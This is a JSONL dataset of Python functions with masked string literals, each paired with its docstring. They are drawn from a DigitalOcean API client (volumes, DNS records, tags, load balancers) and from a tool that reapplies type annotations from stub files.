{"signature": "def transfer(self, new_region_slug):", "body": "return self.get_data(<EOL>\"<STR_LIT>\" % self.id,<EOL>type=POST,<EOL>params={\"<STR_LIT:type>\": \"<STR_LIT>\", \"<STR_LIT>\": new_region_slug}<EOL>)<EOL>", "docstring": "Transfer the image", "id": "f1476:c0:m6"}
{"signature": "def rename(self, new_name):", "body": "return self.get_data(<EOL>\"<STR_LIT>\" % self.id,<EOL>type=PUT,<EOL>params={\"<STR_LIT:name>\": new_name}<EOL>)<EOL>", "docstring": "Rename an image", "id": "f1476:c0:m7"}
{"signature": "def get_data(self, url, headers=dict(), params=dict(), render_json=True):", "body": "url = urljoin(self.end_point, url)<EOL>response = requests.get(url, headers=headers, params=params,<EOL>timeout=self.get_timeout())<EOL>if render_json:<EOL><INDENT>return response.json()<EOL><DEDENT>return response.content<EOL>", "docstring": "Customized version of get_data to directly get the data without\nusing the authentication method.", "id": "f1477:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def get_object(cls, api_token, volume_id):<DEDENT>", "body": "volume = cls(token=api_token, id=volume_id)<EOL>volume.load()<EOL>return volume<EOL>", "docstring": "Class method that will return an Volume object by ID.", "id": "f1478:c0:m1"}
{"signature": "def create(self, *args, **kwargs):", "body": "data = self.get_data('<STR_LIT>',<EOL>type=POST,<EOL>params={'<STR_LIT:name>': self.name,<EOL>'<STR_LIT>': self.region,<EOL>'<STR_LIT>': self.size_gigabytes,<EOL>'<STR_LIT:description>': self.description,<EOL>'<STR_LIT>': self.filesystem_type,<EOL>'<STR_LIT>': self.filesystem_label<EOL>})<EOL>if data:<EOL><INDENT>self.id = data['<STR_LIT>']['<STR_LIT:id>']<EOL>self.created_at = data['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>return self<EOL>", "docstring": "Creates a Block Storage volume\n\nNote: Every argument and parameter given to this method will be\nassigned to the object.\n\nArgs:\n    name: string - a name for the volume\n    region: string - slug identifier for the region\n    size_gigabytes: int - size of the Block Storage volume in GiB\n    filesystem_type: string, optional - name of the filesystem type the\n        volume will be formated with ('ext4' or 'xfs')\n    filesystem_label: string, optional - the label to be applied to the\n        filesystem, only used in conjunction with filesystem_type\n\nOptional Args:\n    description: string - text field to describe a volume", "id": "f1478:c0:m3"}
{"signature": "def create_from_snapshot(self, *args, **kwargs):", "body": "data = self.get_data('<STR_LIT>',<EOL>type=POST,<EOL>params={'<STR_LIT:name>': self.name,<EOL>'<STR_LIT>': self.snapshot_id,<EOL>'<STR_LIT>': self.region,<EOL>'<STR_LIT>': self.size_gigabytes,<EOL>'<STR_LIT:description>': self.description,<EOL>'<STR_LIT>': self.filesystem_type,<EOL>'<STR_LIT>': self.filesystem_label<EOL>})<EOL>if data:<EOL><INDENT>self.id = data['<STR_LIT>']['<STR_LIT:id>']<EOL>self.created_at = data['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>return self<EOL>", "docstring": "Creates a Block Storage volume\n\nNote: Every argument and parameter given to this method will be\nassigned to the object.\n\nArgs:\n    name: string - a name for the volume\n    snapshot_id: string - unique identifier for the volume snapshot\n    size_gigabytes: int - size of the Block Storage volume in GiB\n    filesystem_type: string, optional - name of the filesystem type the\n        volume will be formated with ('ext4' or 'xfs')\n    filesystem_label: string, optional - the label to be applied to the\n        filesystem, only used in conjunction with filesystem_type\n\nOptional Args:\n    description: string - text field to describe a volume", "id": "f1478:c0:m4"}
{"signature": "def destroy(self):", "body": "return self.get_data(\"<STR_LIT>\" % self.id, type=DELETE)<EOL>", "docstring": "Destroy a volume", "id": "f1478:c0:m5"}
{"signature": "def attach(self, droplet_id, region):", "body": "return self.get_data(<EOL>\"<STR_LIT>\" % self.id,<EOL>type=POST,<EOL>params={\"<STR_LIT:type>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": droplet_id,<EOL>\"<STR_LIT>\": region}<EOL>)<EOL>", "docstring": "Attach a Volume to a Droplet.\n\nArgs:\n    droplet_id: int - droplet id\n    region: string - slug identifier for the region", "id": "f1478:c0:m6"}
{"signature": "def detach(self, droplet_id, region):", "body": "return self.get_data(<EOL>\"<STR_LIT>\" % self.id,<EOL>type=POST,<EOL>params={\"<STR_LIT:type>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": droplet_id,<EOL>\"<STR_LIT>\": region}<EOL>)<EOL>", "docstring": "Detach a Volume to a Droplet.\n\nArgs:\n    droplet_id: int - droplet id\n    region: string - slug identifier for the region", "id": "f1478:c0:m7"}
{"signature": "def resize(self, size_gigabytes, region):", "body": "return self.get_data(<EOL>\"<STR_LIT>\" % self.id,<EOL>type=POST,<EOL>params={\"<STR_LIT:type>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": size_gigabytes,<EOL>\"<STR_LIT>\": region}<EOL>)<EOL>", "docstring": "Detach a Volume to a Droplet.\n\nArgs:\n    size_gigabytes: int - size of the Block Storage volume in GiB\n    region: string - slug identifier for the region", "id": "f1478:c0:m8"}
{"signature": "def snapshot(self, name):", "body": "return self.get_data(<EOL>\"<STR_LIT>\" % self.id,<EOL>type=POST,<EOL>params={\"<STR_LIT:name>\": name}<EOL>)<EOL>", "docstring": "Create a snapshot of the volume.\n\nArgs:\n    name: string - a human-readable name for the snapshot", "id": "f1478:c0:m9"}
{"signature": "def get_snapshots(self):", "body": "data = self.get_data(\"<STR_LIT>\" % self.id)<EOL>snapshots = list()<EOL>for jsond in data[u'<STR_LIT>']:<EOL><INDENT>snapshot = Snapshot(**jsond)<EOL>snapshot.token = self.token<EOL>snapshots.append(snapshot)<EOL><DEDENT>return snapshots<EOL>", "docstring": "Retrieve the list of snapshots that have been created from a volume.\n\nArgs:", "id": "f1478:c0:m10"}
{"signature": "@classmethod<EOL><INDENT>def get_object(cls, api_token, domain, record_id):<DEDENT>", "body": "record = cls(token=api_token, domain=domain, id=record_id)<EOL>record.load()<EOL>return record<EOL>", "docstring": "Class method that will return a Record object by ID and the domain.", "id": "f1479:c0:m1"}
{"signature": "def create(self):", "body": "input_params = {<EOL>\"<STR_LIT:type>\": self.type,<EOL>\"<STR_LIT:data>\": self.data,<EOL>\"<STR_LIT:name>\": self.name,<EOL>\"<STR_LIT>\": self.priority,<EOL>\"<STR_LIT:port>\": self.port,<EOL>\"<STR_LIT>\": self.ttl,<EOL>\"<STR_LIT>\": self.weight,<EOL>\"<STR_LIT>\": self.flags,<EOL>\"<STR_LIT>\": self.tags<EOL>}<EOL>data = self.get_data(<EOL>\"<STR_LIT>\" % (self.domain),<EOL>type=POST,<EOL>params=input_params,<EOL>)<EOL>if data:<EOL><INDENT>self.id = data['<STR_LIT>']['<STR_LIT:id>']<EOL><DEDENT>", "docstring": "Creates a new record for a domain.\n\nArgs:\n    type (str): The type of the DNS record (e.g. A, CNAME, TXT).\n    name (str): The host name, alias, or service being defined by the\n        record.\n    data (int): Variable data depending on record type.\n    priority (int): The priority for SRV and MX records.\n    port (int): The port for SRV records.\n    ttl (int): The time to live for the record, in seconds.\n    weight (int): The weight for SRV records.\n    flags (int): An unsigned integer between 0-255 used for CAA records.\n    tags (string): The parameter tag for CAA records. Valid values are\n        \"issue\", \"wildissue\", or \"iodef\"", "id": "f1479:c0:m2"}
{"signature": "def destroy(self):", "body": "return self.get_data(<EOL>\"<STR_LIT>\" % (self.domain, self.id),<EOL>type=DELETE,<EOL>)<EOL>", "docstring": "Destroy the record", "id": "f1479:c0:m3"}
{"signature": "def save(self):", "body": "data = {<EOL>\"<STR_LIT:type>\": self.type,<EOL>\"<STR_LIT:data>\": self.data,<EOL>\"<STR_LIT:name>\": self.name,<EOL>\"<STR_LIT>\": self.priority,<EOL>\"<STR_LIT:port>\": self.port,<EOL>\"<STR_LIT>\": self.ttl,<EOL>\"<STR_LIT>\": self.weight,<EOL>\"<STR_LIT>\": self.flags,<EOL>\"<STR_LIT>\": self.tags<EOL>}<EOL>return self.get_data(<EOL>\"<STR_LIT>\" % (self.domain, self.id),<EOL>type=PUT,<EOL>params=data<EOL>)<EOL>", "docstring": "Save existing record", "id": "f1479:c0:m4"}
{"signature": "@classmethod<EOL><INDENT>def get_object(cls, api_token):<DEDENT>", "body": "acct = cls(token=api_token)<EOL>acct.load()<EOL>return acct<EOL>", "docstring": "Class method that will return an Account object.", "id": "f1480:c0:m1"}
{"signature": "def load(self):", "body": "tags = self.get_data(\"<STR_LIT>\" % self.name)<EOL>tag = tags['<STR_LIT>']<EOL>for attr in tag.keys():<EOL><INDENT>setattr(self, attr, tag[attr])<EOL><DEDENT>return self<EOL>", "docstring": "Fetch data about tag", "id": "f1481:c0:m2"}
{"signature": "def create(self, **kwargs):", "body": "for attr in kwargs.keys():<EOL><INDENT>setattr(self, attr, kwargs[attr])<EOL><DEDENT>params = {\"<STR_LIT:name>\": self.name}<EOL>output = self.get_data(\"<STR_LIT>\", type=\"<STR_LIT:POST>\", params=params)<EOL>if output:<EOL><INDENT>self.name = output['<STR_LIT>']['<STR_LIT:name>']<EOL>self.resources = output['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>", "docstring": "Create the tag.", "id": "f1481:c0:m3"}
{"signature": "def __get_resources(self, resources, method):", "body": "tagged = self.get_data(<EOL>'<STR_LIT>' % self.name, params={<EOL>\"<STR_LIT>\": resources<EOL>},<EOL>type=method,<EOL>)<EOL>return tagged<EOL>", "docstring": "Method used to talk directly to the API (TAGs' Resources)", "id": "f1481:c0:m5"}
{"signature": "def __add_resources(self, resources):", "body": "return self.__get_resources(resources, method='<STR_LIT:POST>')<EOL>", "docstring": "Add to the resources to this tag.\n\nAttributes accepted at creation time:\n    resources: array - See API.", "id": "f1481:c0:m6"}
{"signature": "def __remove_resources(self, resources):", "body": "return self.__get_resources(resources, method='<STR_LIT>')<EOL>", "docstring": "Remove resources from this tag.\n\nAttributes accepted at creation time:\n    resources: array - See API.", "id": "f1481:c0:m7"}
{"signature": "def __extract_resources_from_droplets(self, data):", "body": "resources = []<EOL>if not isinstance(data, list): return data<EOL>for a_droplet in data:<EOL><INDENT>res = {}<EOL>try:<EOL><INDENT>if isinstance(a_droplet, unicode):<EOL><INDENT>res = {\"<STR_LIT>\": a_droplet, \"<STR_LIT>\": \"<STR_LIT>\"}<EOL><DEDENT><DEDENT>except NameError:<EOL><INDENT>pass<EOL><DEDENT>if isinstance(a_droplet, str) or isinstance(a_droplet, int):<EOL><INDENT>res = {\"<STR_LIT>\": str(a_droplet), \"<STR_LIT>\": \"<STR_LIT>\"}<EOL><DEDENT>elif isinstance(a_droplet, Droplet):<EOL><INDENT>res = {\"<STR_LIT>\": str(a_droplet.id), \"<STR_LIT>\": \"<STR_LIT>\"}<EOL><DEDENT>if len(res) > <NUM_LIT:0>:<EOL><INDENT>resources.append(res)<EOL><DEDENT><DEDENT>return resources<EOL>", "docstring": "Private method to extract from a value, the resources.\nIt will check the type of object in the array provided and build\nthe right structure for the API.", "id": "f1481:c0:m8"}
{"signature": "def add_droplets(self, droplet):", "body": "droplets = droplet<EOL>if not isinstance(droplets, list):<EOL><INDENT>droplets = [droplet]<EOL><DEDENT>resources = self.__extract_resources_from_droplets(droplets)<EOL>if len(resources) > <NUM_LIT:0>:<EOL><INDENT>return self.__add_resources(resources)<EOL><DEDENT>return False<EOL>", "docstring": "Add the Tag to a Droplet.\n\nAttributes accepted at creation time:\n    droplet: array of string or array of int, or array of Droplets.", "id": "f1481:c0:m9"}
{"signature": "def remove_droplets(self, droplet):", "body": "droplets = droplet<EOL>if not isinstance(droplets, list):<EOL><INDENT>droplets = [droplet]<EOL><DEDENT>resources = self.__extract_resources_from_droplets(droplets)<EOL>if len(resources) > <NUM_LIT:0>:<EOL><INDENT>return self.__remove_resources(resources)<EOL><DEDENT>return False<EOL>", "docstring": "Remove the Tag from the Droplet.\n\nAttributes accepted at creation time:\n    droplet: array of string or array of int, or array of Droplets.", "id": "f1481:c0:m10"}
{"signature": "@classmethod<EOL><INDENT>def get_object(cls, api_token, id):<DEDENT>", "body": "load_balancer = cls(token=api_token, id=id)<EOL>load_balancer.load()<EOL>return load_balancer<EOL>", "docstring": "Class method that will return a LoadBalancer object by its ID.\n\nArgs:\n    api_token (str): DigitalOcean API token\n    id (str): Load Balancer ID", "id": "f1482:c3:m1"}
{"signature": "def load(self):", "body": "data = self.get_data('<STR_LIT>' % self.id, type=GET)<EOL>load_balancer = data['<STR_LIT>']<EOL>for attr in load_balancer.keys():<EOL><INDENT>if attr == '<STR_LIT>':<EOL><INDENT>health_check = HealthCheck(**load_balancer['<STR_LIT>'])<EOL>setattr(self, attr, health_check)<EOL><DEDENT>elif attr == '<STR_LIT>':<EOL><INDENT>sticky_ses = StickySesions(**load_balancer['<STR_LIT>'])<EOL>setattr(self, attr, sticky_ses)<EOL><DEDENT>elif attr == '<STR_LIT>':<EOL><INDENT>rules = list()<EOL>for rule in load_balancer['<STR_LIT>']:<EOL><INDENT>rules.append(ForwardingRule(**rule))<EOL><DEDENT>setattr(self, attr, rules)<EOL><DEDENT>else:<EOL><INDENT>setattr(self, attr, load_balancer[attr])<EOL><DEDENT><DEDENT>return self<EOL>", "docstring": "Loads updated attributues for a LoadBalancer object.\n\nRequires self.id to be set.", "id": "f1482:c3:m2"}
{"signature": "def create(self, *args, **kwargs):", "body": "rules_dict = [rule.__dict__ for rule in self.forwarding_rules]<EOL>params = {'<STR_LIT:name>': self.name, '<STR_LIT>': self.region,<EOL>'<STR_LIT>': rules_dict,<EOL>'<STR_LIT>': self.redirect_http_to_https}<EOL>if self.droplet_ids and self.tag:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>elif self.tag:<EOL><INDENT>params['<STR_LIT>'] = self.tag<EOL><DEDENT>else:<EOL><INDENT>params['<STR_LIT>'] = self.droplet_ids<EOL><DEDENT>if self.algorithm:<EOL><INDENT>params['<STR_LIT>'] = self.algorithm<EOL><DEDENT>if self.health_check:<EOL><INDENT>params['<STR_LIT>'] = self.health_check.__dict__<EOL><DEDENT>if self.sticky_sessions:<EOL><INDENT>params['<STR_LIT>'] = self.sticky_sessions.__dict__<EOL><DEDENT>data = self.get_data('<STR_LIT>', type=POST, params=params)<EOL>if data:<EOL><INDENT>self.id = data['<STR_LIT>']['<STR_LIT:id>']<EOL>self.ip = data['<STR_LIT>']['<STR_LIT>']<EOL>self.algorithm = data['<STR_LIT>']['<STR_LIT>']<EOL>self.health_check = HealthCheck(<EOL>**data['<STR_LIT>']['<STR_LIT>'])<EOL>self.sticky_sessions = StickySesions(<EOL>**data['<STR_LIT>']['<STR_LIT>'])<EOL>self.droplet_ids = data['<STR_LIT>']['<STR_LIT>']<EOL>self.status = data['<STR_LIT>']['<STR_LIT:status>']<EOL>self.created_at = data['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>return self<EOL>", "docstring": "Creates a new LoadBalancer.\n\nNote: Every argument and parameter given to this method will be\nassigned to the object.\n\nArgs:\n    name (str): The Load Balancer's name\n    region (str): The slug identifier for a DigitalOcean region\n    algorithm (str, optional): The load balancing algorithm to be\n        used. Currently, it must be either \"round_robin\" or\n        \"least_connections\"\n    forwarding_rules (obj:`list`): A list of `ForwrdingRules` objects\n    health_check (obj, optional): A `HealthCheck` object\n    sticky_sessions (obj, optional): A `StickySessions` object\n    redirect_http_to_https (bool, optional): A boolean indicating\n        whether HTTP requests to the Load Balancer should be\n        redirected to HTTPS\n    droplet_ids (obj:`list` of `int`): A list of IDs representing\n        Droplets to be added to the Load Balancer (mutually\n        exclusive with 'tag')\n    tag (str): A string representing a DigitalOcean Droplet tag\n        (mutually exclusive with 'droplet_ids')", "id": "f1482:c3:m3"}
{"signature": "def save(self):", "body": "forwarding_rules = [rule.__dict__ for rule in self.forwarding_rules]<EOL>data = {<EOL>'<STR_LIT:name>': self.name,<EOL>'<STR_LIT>': self.region['<STR_LIT>'],<EOL>'<STR_LIT>': forwarding_rules,<EOL>'<STR_LIT>': self.redirect_http_to_https<EOL>}<EOL>if self.tag:<EOL><INDENT>data['<STR_LIT>'] = self.tag<EOL><DEDENT>else:<EOL><INDENT>data['<STR_LIT>'] = self.droplet_ids<EOL><DEDENT>if self.algorithm:<EOL><INDENT>data[\"<STR_LIT>\"] = self.algorithm<EOL><DEDENT>if self.health_check:<EOL><INDENT>data['<STR_LIT>'] = self.health_check.__dict__<EOL><DEDENT>if self.sticky_sessions:<EOL><INDENT>data['<STR_LIT>'] = self.sticky_sessions.__dict__<EOL><DEDENT>return self.get_data(\"<STR_LIT>\" % self.id,<EOL>type=PUT,<EOL>params=data)<EOL>", "docstring": "Save the LoadBalancer", "id": "f1482:c3:m4"}
{"signature": "def destroy(self):", "body": "return self.get_data('<STR_LIT>' % self.id, type=DELETE)<EOL>", "docstring": "Destroy the LoadBalancer", "id": "f1482:c3:m5"}
{"signature": "def add_droplets(self, droplet_ids):", "body": "return self.get_data(<EOL>\"<STR_LIT>\" % self.id,<EOL>type=POST,<EOL>params={\"<STR_LIT>\": droplet_ids}<EOL>)<EOL>", "docstring": "Assign a LoadBalancer to a Droplet.\n\nArgs:\n    droplet_ids (obj:`list` of `int`): A list of Droplet IDs", "id": "f1482:c3:m6"}
{"signature": "def remove_droplets(self, droplet_ids):", "body": "return self.get_data(<EOL>\"<STR_LIT>\" % self.id,<EOL>type=DELETE,<EOL>params={\"<STR_LIT>\": droplet_ids}<EOL>)<EOL>", "docstring": "Unassign a LoadBalancer.\n\nArgs:\n    droplet_ids (obj:`list` of `int`): A list of Droplet IDs", "id": "f1482:c3:m7"}
{"signature": "def add_forwarding_rules(self, forwarding_rules):", "body": "rules_dict = [rule.__dict__ for rule in forwarding_rules]<EOL>return self.get_data(<EOL>\"<STR_LIT>\" % self.id,<EOL>type=POST,<EOL>params={\"<STR_LIT>\": rules_dict}<EOL>)<EOL>", "docstring": "Adds new forwarding rules to a LoadBalancer.\n\nArgs:\n    forwarding_rules (obj:`list`): A list of `ForwrdingRules` objects", "id": "f1482:c3:m8"}
{"signature": "def remove_forwarding_rules(self, forwarding_rules):", "body": "rules_dict = [rule.__dict__ for rule in forwarding_rules]<EOL>return self.get_data(<EOL>\"<STR_LIT>\" % self.id,<EOL>type=DELETE,<EOL>params={\"<STR_LIT>\": rules_dict}<EOL>)<EOL>", "docstring": "Removes existing forwarding rules from a LoadBalancer.\n\nArgs:\n    forwarding_rules (obj:`list`): A list of `ForwrdingRules` objects", "id": "f1482:c3:m9"}
{"signature": "@click.command()<EOL>@click.option(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>type=Directory(),<EOL>default='<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>show_default=True,<EOL>)<EOL>@click.option(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>type=Directory(exists=False, writable=True),<EOL>default='<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>show_default=True,<EOL>)<EOL>@click.option(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>is_flag=True,<EOL>help=\"<STR_LIT>\",<EOL>)<EOL>@click.option(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>is_flag=True,<EOL>help=\"<STR_LIT>\",<EOL>)<EOL>@click.option(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>is_flag=True,<EOL>help=\"<STR_LIT>\",<EOL>)<EOL>@click.option(<EOL>'<STR_LIT>',<EOL>is_flag=True,<EOL>help=\"<STR_LIT>\",<EOL>)<EOL>@click.option(<EOL>'<STR_LIT>',<EOL>is_flag=True,<EOL>help=\"<STR_LIT>\",<EOL>)<EOL>@click.argument(<EOL>'<STR_LIT:src>',<EOL>nargs=-<NUM_LIT:1>,<EOL>type=Directory(file_okay=True),<EOL>)<EOL>@click.version_option(version=__version__)<EOL>def main(src, pyi_dir, target_dir, incremental, quiet, replace_any, hg, traceback):", "body": "Config.incremental = incremental<EOL>Config.replace_any = replace_any<EOL>returncode = <NUM_LIT:0><EOL>for src_entry in src:<EOL><INDENT>for file, error, exc_type, tb in retype_path(<EOL>Path(src_entry),<EOL>pyi_dir=Path(pyi_dir),<EOL>targets=Path(target_dir),<EOL>src_explicitly_given=True,<EOL>quiet=quiet,<EOL>hg=hg,<EOL>):<EOL><INDENT>print(f'<STR_LIT>', file=sys.stderr)<EOL>if traceback:<EOL><INDENT>print('<STR_LIT>', file=sys.stderr)<EOL>for line in tb:<EOL><INDENT>print(line, file=sys.stderr, end='<STR_LIT>')<EOL><DEDENT>print(f'<STR_LIT>', file=sys.stderr)<EOL><DEDENT>returncode += <NUM_LIT:1><EOL><DEDENT><DEDENT>if not src and not quiet:<EOL><INDENT>print('<STR_LIT>', file=sys.stderr)<EOL><DEDENT>sys.exit(min(returncode, <NUM_LIT>))<EOL>", "docstring": "Re-apply type annotations from .pyi stubs to your codebase.", "id": "f1486:m0"}
{"signature": "def retype_path(<EOL>src, pyi_dir, targets, *, src_explicitly_given=False, quiet=False, hg=False<EOL>):", "body": "if src.is_dir():<EOL><INDENT>for child in src.iterdir():<EOL><INDENT>if child == pyi_dir or child == targets:<EOL><INDENT>continue<EOL><DEDENT>yield from retype_path(<EOL>child, pyi_dir / src.name, targets / src.name, quiet=quiet, hg=hg,<EOL>)<EOL><DEDENT><DEDENT>elif src.suffix == '<STR_LIT>' or src_explicitly_given:<EOL><INDENT>try:<EOL><INDENT>retype_file(src, pyi_dir, targets, quiet=quiet, hg=hg)<EOL><DEDENT>except Exception as e:<EOL><INDENT>yield (<EOL>src,<EOL>str(e),<EOL>type(e),<EOL>traceback.format_tb(e.__traceback__),<EOL>)<EOL><DEDENT><DEDENT>", "docstring": "Recursively retype files or directories given. Generate errors.", "id": "f1486:m1"}
{"signature": "def retype_file(src, pyi_dir, targets, *, quiet=False, hg=False):", "body": "with tokenize.open(src) as src_buffer:<EOL><INDENT>src_encoding = src_buffer.encoding<EOL>src_node = lib2to3_parse(src_buffer.read())<EOL><DEDENT>try:<EOL><INDENT>with open((pyi_dir / src.name).with_suffix('<STR_LIT>')) as pyi_file:<EOL><INDENT>pyi_txt = pyi_file.read()<EOL><DEDENT><DEDENT>except FileNotFoundError:<EOL><INDENT>if not quiet:<EOL><INDENT>print(<EOL>f'<STR_LIT>',<EOL>file=sys.stderr,<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>pyi_ast = ast3.parse(pyi_txt)<EOL>assert isinstance(pyi_ast, ast3.Module)<EOL>reapply_all(pyi_ast.body, src_node)<EOL><DEDENT>fix_remaining_type_comments(src_node)<EOL>targets.mkdir(parents=True, exist_ok=True)<EOL>with open(targets / src.name, '<STR_LIT:w>', encoding=src_encoding) as target_file:<EOL><INDENT>target_file.write(lib2to3_unparse(src_node, hg=hg))<EOL><DEDENT>return targets / src.name<EOL>", "docstring": "Retype `src`, finding types in `pyi_dir`. Save in `targets`.\n\n    The file should remain formatted exactly as it was before, save for:\n    - annotations\n    - additional imports needed to satisfy annotations\n    - additional module-level names needed to satisfy annotations\n\n    Type comments in sources are normalized to type annotations.", "id": "f1486:m2"}
{"signature": "def lib2to3_parse(src_txt):", "body": "grammar = pygram.python_grammar_no_print_statement<EOL>drv = driver.Driver(grammar, pytree.convert)<EOL>if src_txt[-<NUM_LIT:1>] != '<STR_LIT:\\n>':<EOL><INDENT>nl = '<STR_LIT:\\r\\n>' if '<STR_LIT:\\r\\n>' in src_txt[:<NUM_LIT>] else '<STR_LIT:\\n>'<EOL>src_txt += nl<EOL><DEDENT>try:<EOL><INDENT>result = drv.parse_string(src_txt, True)<EOL><DEDENT>except ParseError as pe:<EOL><INDENT>lineno, column = pe.context[<NUM_LIT:1>]<EOL>lines = src_txt.splitlines()<EOL>try:<EOL><INDENT>faulty_line = lines[lineno - <NUM_LIT:1>]<EOL><DEDENT>except IndexError:<EOL><INDENT>faulty_line = \"<STR_LIT>\"<EOL><DEDENT>raise ValueError(f\"<STR_LIT>\") from None<EOL><DEDENT>if isinstance(result, Leaf):<EOL><INDENT>result = Node(syms.file_input, [result])<EOL><DEDENT>return result<EOL>", "docstring": "Given a string with source, return the lib2to3 Node.", "id": "f1486:m3"}
{"signature": "def lib2to3_unparse(node, *, hg=False):", "body": "code = str(node)<EOL>if hg:<EOL><INDENT>from retype_hgext import apply_job_security<EOL>code = apply_job_security(code)<EOL><DEDENT>return code<EOL>", "docstring": "Given a lib2to3 node, return its string representation.", "id": "f1486:m4"}
{"signature": "def reapply_all(ast_node, lib2to3_node):", "body": "late_processing = reapply(ast_node, lib2to3_node)<EOL>for lazy_func in reversed(late_processing):<EOL><INDENT>lazy_func()<EOL><DEDENT>", "docstring": "Reapplies the typed_ast node into the lib2to3 tree.\n\n    Also does post-processing. This is done in reverse order to enable placing\n    TypeVars and aliases that depend on one another.", "id": "f1486:m5"}
{"signature": "@singledispatch<EOL>def reapply(ast_node, lib2to3_node):", "body": "return []<EOL>", "docstring": "Reapplies the typed_ast node into the lib2to3 tree.\n\n    By default does nothing.", "id": "f1486:m6"}
{"signature": "@singledispatch<EOL>def serialize_attribute(attr):", "body": "return \"<STR_LIT>\"<EOL>", "docstring": "serialize_attribute(Attribute()) -> \"self.f1.f2.f3\"\n\n    Change an AST object into its string representation.", "id": "f1486:m14"}
{"signature": "@singledispatch<EOL>def convert_annotation(ann):", "body": "raise NotImplementedError(f\"<STR_LIT>\")<EOL>", "docstring": "Converts an AST object into its lib2to3 equivalent.", "id": "f1486:m18"}
{"signature": "@singledispatch<EOL>def names_already_imported(names, node):", "body": "return False<EOL>", "docstring": "Returns True if `node` represents `names`.", "id": "f1486:m30"}
{"signature": "def fix_remaining_type_comments(node):", "body": "assert node.type == syms.file_input<EOL>last_n = None<EOL>for n in node.post_order():<EOL><INDENT>if last_n is not None:<EOL><INDENT>if n.type == token.NEWLINE and is_assignment(last_n):<EOL><INDENT>fix_variable_annotation_type_comment(n, last_n)<EOL><DEDENT>elif n.type == syms.funcdef and last_n.type == syms.suite:<EOL><INDENT>fix_signature_annotation_type_comment(n, last_n, offset=<NUM_LIT:1>)<EOL><DEDENT>elif n.type == syms.async_funcdef and last_n.type == syms.suite:<EOL><INDENT>fix_signature_annotation_type_comment(n, last_n, offset=<NUM_LIT:2>)<EOL><DEDENT><DEDENT>last_n = n<EOL><DEDENT>", "docstring": "Converts type comments in `node` to proper annotated assignments.", "id": "f1486:m39"}
{"signature": "def get_function_signature(fun, *, is_method=False):", "body": "args = fun.args<EOL>returns = fun.returns<EOL>if fun.type_comment:<EOL><INDENT>try:<EOL><INDENT>args_tc, returns_tc = parse_signature_type_comment(fun.type_comment)<EOL>if returns and returns_tc:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>returns = returns_tc<EOL>copy_arguments_to_annotations(args, args_tc, is_method=is_method)<EOL><DEDENT>except (SyntaxError, ValueError) as exc:<EOL><INDENT>raise ValueError(<EOL>f\"<STR_LIT>\" +<EOL>f\"<STR_LIT>\"<EOL>)<EOL><DEDENT><DEDENT>copy_type_comments_to_annotations(args)<EOL>return args, returns<EOL>", "docstring": "Returns (args, returns).\n\n    `args` is ast3.arguments, `returns` is the return type AST node. The kicker\n    about this function is that it pushes type comments into proper annotation\n    fields, standardizing type handling.", "id": "f1486:m48"}
{"signature": "def parse_signature_type_comment(type_comment):", "body": "try:<EOL><INDENT>result = ast3.parse(type_comment, '<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>except SyntaxError:<EOL><INDENT>raise ValueError(f\"<STR_LIT>\")<EOL><DEDENT>assert isinstance(result, ast3.FunctionType)<EOL>if len(result.argtypes) == <NUM_LIT:1>:<EOL><INDENT>argtypes = result.argtypes[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>argtypes = result.argtypes<EOL><DEDENT>return argtypes, result.returns<EOL>", "docstring": "Parse the fugly signature type comment into AST nodes.\n\n    Caveats: ASTifying **kwargs is impossible with the current grammar so we\n    hack it into unary subtraction (to differentiate from Starred in vararg).\n\n    For example from:\n    \"(str, int, *int, **Any) -> 'SomeReturnType'\"\n\n    To:\n    ([ast3.Name, ast.Name, ast3.Name, ast.Name], ast3.Str)", "id": "f1486:m49"}
{"signature": "def parse_type_comment(type_comment):", "body": "try:<EOL><INDENT>result = ast3.parse(type_comment, '<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>except SyntaxError:<EOL><INDENT>raise ValueError(f\"<STR_LIT>\") from None<EOL><DEDENT>assert isinstance(result, ast3.Expression)<EOL>return result.body<EOL>", "docstring": "Parse a type comment string into AST nodes.", "id": "f1486:m50"}
{"signature": "def parse_arguments(arguments):", "body": "arguments = f\"<STR_LIT>\"<EOL>try:<EOL><INDENT>result = ast3.parse(arguments, '<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>except SyntaxError:<EOL><INDENT>raise ValueError(f\"<STR_LIT>\") from None<EOL><DEDENT>assert isinstance(result, ast3.Module)<EOL>assert len(result.body) == <NUM_LIT:1><EOL>assert isinstance(result.body[<NUM_LIT:0>], ast3.FunctionDef)<EOL>args = result.body[<NUM_LIT:0>].args<EOL>copy_type_comments_to_annotations(args)<EOL>return args<EOL>", "docstring": "parse_arguments('(a, b, *, c=False, **d)') -> ast3.arguments\n\n    Parse a string with function arguments into an AST node.", "id": "f1486:m51"}
